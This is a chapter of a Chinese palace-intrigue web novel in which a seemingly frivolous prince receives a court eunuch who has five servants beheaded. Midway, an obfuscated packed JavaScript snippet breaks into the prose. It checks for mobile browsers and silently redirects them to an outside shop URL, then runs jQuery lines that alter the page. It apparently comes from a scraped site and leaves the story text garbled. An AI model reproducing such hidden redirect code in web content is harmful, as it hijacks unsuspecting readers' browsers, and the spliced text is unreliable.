是夜,酉时,晨王私宅。
晚膳将才用过,正厅主位的右手边,便多出来了一幅生面孔。
府内一众侍奉的仆从们全数静默无声,埋首躬身,生怕伺候上出现一丁点差错,便会就此没了脑袋。
来人甚至不用看清他的全貌,只瞧见那遍布金线的长靴,和反射着烛光的紫色锦缎长袖,已明白知道其身份显赫。
随之一道前来的,还有数名腰侧配着仪刀的侍卫们。
晨王府内除了殿下的近侍之外,向来不许外人携带武器入内,但常年侍奉在皇家的仆从们又有谁不知,仪刀,是仅御前侍卫们才有资格配备的刀。
四方高墙圈禁起一隅销金的富贵乡,然安宁被突如其来的变故打破,树影倾斜,阴暗处风起云涌,随船起航的每一只蝼蚁,都休想独善其身。
正厅外,侍卫提刀立于两旁,气氛之庄严,仿佛这一方天地随时都会易主,唯高位上端坐的翩翩公子满脸含笑。
“高公公远道而来,贸然登门,不知,所谓何事?”李文晞兀自新添了茶饮着,他晚膳用的不少,这会儿正需要点蒙顶茶去去腥。
紫色官服可不是谁都可以穿的,本朝阉人们的职权虽然一年比一年大,但到底凤毛麟角的都是少数。
高鱼忠的名字,他倒也听过一嘴。如此架势而来,必然得了父皇的旨意。
“晨王殿下鲜少出来走动,这一次来漓州,行踪多日不定,皇上担心得紧,这才着老奴前来看看。”
浓郁醇厚的茶香渐渐在厅内萦绕开来,高鱼忠斜眼瞥过自己空荡荡的案前,例行公事地几句话说完,连忙转过头正身端坐,高扬着下巴遥望向门外。
他奉皇命前来,倒不至于将这么一点小事放在眼里,晨王李文晞往日里是个什么样纨绔草包的货色,乃是满朝皆知的,好不容易领了漓州这么个肥差,结果惹出现在的乱子,终究烂泥扶不上墙,难成气候。
只待再过几天,事情有了一个确切的结果后,他随军将人押送回京,便算是了了这趟差事,皇上与太子面前该怎么交代,可万万不与他相干。
“既然这样,定然不会让公公白来,漓州城内外各式好玩的、好吃的,本王来了月余倒也算是见识了不少,改日定择人带公公好好赏玩一番,公公到时看上什么尽管开口,钱两自然算在本王头上,如此,才能叫公公不白跑这一趟。”
李文晞一边饮茶,一边轻摇着自己手中千金难求的桐花凤罗扇,财大气粗地说完,又斜靠在了椅背里。
他今次大红色的翻领袍外,更多添了一层粉色丝绸披袄,此刻宽袍舒展,洋洋洒洒地铺着,极为鲜亮的颜色,映得其间一张尊贵清雅的脸庞愈发俊逸逼人,当真好一段纨绔风流。
高鱼忠余光随便扫了两眼过去,豆大的眼睛内,一对眼珠翻转不停,委实看不惯身旁人此等自贱自弃的做派,身为皇子不兢兢业业将心思都放在正事上,偏贪恋这么些个玩闹享乐。
罢了,到底是天资使然。
皇上特意指了他过来,门外御前侍卫端列两侧,饶是这番架势,竟都猜不出他是来干什么的人,谁又还能指望有多大出息呢,只恐哪天真的没了,也是个冤死鬼。
他于是从袖口中掏出白帕,掩面轻咳两声,紧了语气,重新唤道:“晨王殿下。”
“咱家平日里当值事情只多不少,皇上都是知道的,若不是出了什么要紧事,自然也不会派老奴出来。”
高鱼忠说着,也不正脸瞧李文晞,只又挺直了绵软的胸膛,胭脂堆起来的一张脸,白得连原本的气色也看不出,浓黛勾画出的眉眼姿态凛然,好似他才是该坐在主位上的那个人。
“殿下有那些个游山玩水的时间,不妨还是多想想,自己个儿身上是出了什么岔子,惹得龙颜不悦了。”
高鱼忠轻叹一口气,又摇了摇头,那架势似在惋惜身旁的李文晞很快便会命不久矣了。
他偏头快速看了一眼身侧,接着继续劝说道:“后面去了御前,皇上发起火来,也该知道要从哪里赔罪不是,国家大事,断不可如现在这般糊涂啊。”
这话说的是有些僭越了,但他忍不住又看了一眼晨王那不成体统的样子,只怕,有些话要不是这么说,旁边的草包根本也听不懂。
国家大事,什么时候也能轮到一个阉人枉议了。
高鱼忠,枢密院内的阁门使。
原本不过是个掌管宫廷礼仪的小官,偏父皇宠幸近侍,宦官们近年手握的权力越来越大,如今,倒是连钦差大臣的事都敢来染指了。
李文晞手握罗扇,眼神轻佻,赤裸裸地打量着面前的阉狗。
身上没根的东西,肥头大耳,人过半百积满了肥肉的腰身再怎么挺,也根本看不出骨气来,深宫侍奉多年,倒叫他们这群奴才们养尊处优了起来。
狗东西几番看过来的眼神他不是没看见,眼角褶皱里冒出来的那一点荤光,下意识地带着谄媚,然是畏惧,还是轻蔑,落在那层谄媚之下,尽然扭曲而清楚。
被权力阉割过的脸,模样都是那样的相似和熟悉,他每一次望过去,便仿佛再度看见了那些被岁月掩盖的肮脏,那些在暗处流淌着的鲜血,以及那些永远无法窥见天光的挣扎。
皇上为什么会派这样的一个阉狗过来?
他眼角微扬,目光像是淬了毒的刀,在高鱼忠身上一寸一寸地刮着。
还能因为什么。
父皇扶持阉党,成立专门用于监控军政的枢密院,他私自连结戍边水军调用,显然是触了逆鳞。
高鱼忠如何不明白个中干系,只是他们这群人就是这样,话从来只说三分,剩下的全交给听话人自行揣度。
他父皇最是喜好这样,但那是龙椅上的天子,狗奴才们跟着学来这腔调,他李文晞自小不堪,堂堂皇子如今竟也沦落得,连一个阉狗都能和他平起平坐,出言教起他该如何做人了。
可他表面不动声色,依旧浑然不知地笑着,全然一副玩世不恭的姿态,开口慢悠悠道:“父皇想要如何处置,本王费再多口舌又有什么用,倒是近来,另有一件大事可叫本王好一顿烦心。”
“哦?”高鱼忠听及来了兴趣,侧目追问,“不知殿下所指,是为何事?”
“害,原也不是什么大事,只是本王最近每每外出,府门外总不知有哪里冒出的野狗在狺狺狂吠。”李文晞说话间一手扶额,显得颇为难耐,“岂知本王从来最厌恶恶犬。”
“殿下惯会拿老奴取笑了。”
高鱼忠还以为这草包晨王真能有什么正经的要事呢,亏他刻意分了精力专心去听,结果竟还只是这些孩童脾性的芝麻小事,当真是朽木难雕,白白浪费时间。
他可没耐性陪一个奶娃娃胡闹,遂视线移开,下意识敷衍道:“晨王殿下的宅院前,哪里能有什么野狗敢乱吠,若真的有,寻个时间差人暗中打死便是,算什么烦心事,值得叫......”
话说一半,他倏尔噤了声,转头看向李文晞的目光中,怒意一时没收住,径直失了礼数。
眼见阉狗奴隶竟然敢怒视主位,李文晞跟着厉了神色,沉声警示:“嗯?”
对面的高鱼忠当即错开视线,矮了身形,过了一会儿,低头咬牙切齿道:“望殿下不日之后,还能有如此闲情与老奴玩笑。”
“哈哈哈哈......”李文晞摇扇大笑,“那是自然。”
这时,外面天色愈发晦暗,室内光影晃动不定,一队五人例行值夜的小厮们,门边行过礼后,开始入内
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394068|190989||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
挑灯。
因房间四角高处的油灯特殊,小厮们在跷脚挑灯时,都需一手将下身的关键部位遮挡。
这边,正来至高鱼忠身侧——
“大胆!”
啪!
紫色长袍翻动,高鱼忠起身,扬手一巴掌扇在了就近小厮的脸上,地面中央,当即匍匐着跪倒一片。
高鱼忠扬声怒斥道:“吃了熊心豹子胆了,你们竟敢折辱咱家。”
李文晞看过去,着实反应了一会儿,才明白这没根的老阉货是在发什么疯。
高鱼忠借此好似总算拿住了把柄,斜眼俯首逼问:“此事,自当不是晨王殿下授意的吧?”
李文晞长眉一压,深邃的双眸开始渗出凉意。
高鱼忠刚好卡在晚膳结束的时间入门,又一直盯守在他身侧,其用意摆明了是为了限制他的动作。
是而,今夜之事,必定还有后手。
他还不能动。
李文晞默不作声,长眉下微眯的桃花眼狭长而锋利,黏在高鱼忠身上的目光,像是泥潭暗处阴湿的青藓。
高鱼忠不屑地瞥过一眼,尖细的嗓音骤然拔高,刺耳又挑衅。
他笑着下令道:“来人!”
秋夜清凉,长风自院墙高处划过,猛然撞上树梢,带动三两枯叶飘落。
霜露尚未急着显露踪迹,青石板上的凉意还看不真切,但偏偏一抹温热的深红溅上去时,院落四周还是被烫到了。
一、二、三、四、五......
李文晞暗暗在心里数着,五声,一共五次头颅滚落在地的闷响。
新鲜的血腥味徐徐来至屋内,不依不饶地充斥在鼻息间,整个晨王私宅内,一时间安静地连虫鸣声都没有。
右手食指忽而传来一阵难忍的刺痛,李文晞在愣怔中回过神,才见是手臂处无知觉的颤动,弄洒了手中杯盏内新添的茶。
“殿下莫怕。”
旁边高鱼忠好言安抚,他重整着自己身上象征身份的紫色官袍,长袖舒展,安然落座。
“不过是处置了几个下人而已,不干殿下的事。”
御前侍卫要处决谁,可不是什么人都能拦的。
他复又看了看李文晞那被吓到抖动不停的手,嘴角的笑意愈发明显了起来。
害怕吗?
不。
李文晞心中只感觉到了难以压制的兴奋。
手中没有权力的人,从来便不配拥有属于自己的东西,他一向很清楚这一点,自记事起就清楚。
折辱与轻蔑,以往经年他都是这样过来的,滔天的愤怒日积月累,渐渐都变成了兴奋,嗜血刻骨的兴奋。
他根本不在乎这条不归路的尽头会是什么,便就是一死又如何,比死更难耐地的事情,他也早都经历过了。
他迎面直视向高鱼忠的眼睛,忽然也跟着笑了。
翘起的嘴角扬着勾人的弧度,他抬手拿过案前的茶壶,就着抖动不停的手,继续斟着茶。
茶水依然还是要洒出来,被灼伤红肿的右手食指愈发红肿,但茶盏移至嘴边,他俯身不紧不慢吹过,这才一口一口回味着缓缓饮下,姿态优雅从容。
他只要将所有施加在他身上的伤害,千倍百倍地还回去。
“报!”
有小厮脚踏鲜血,狂奔着跪到近前。
府门外围,金戈铿锵之声正盛,一根根汹涌燃烧的火把破门而入,不多时,宁静的院落四周明亮恍若白昼。
手臂处更加剧烈的颤动传来,白玉茶盏蓦然掉落在地,应声碎裂。
李文晞嘴角笑意骤停,他简直要控制不住心头灭顶的兴奋。
这些人又怎么会知道,宫廷灯火下的影子,最喜藏锋。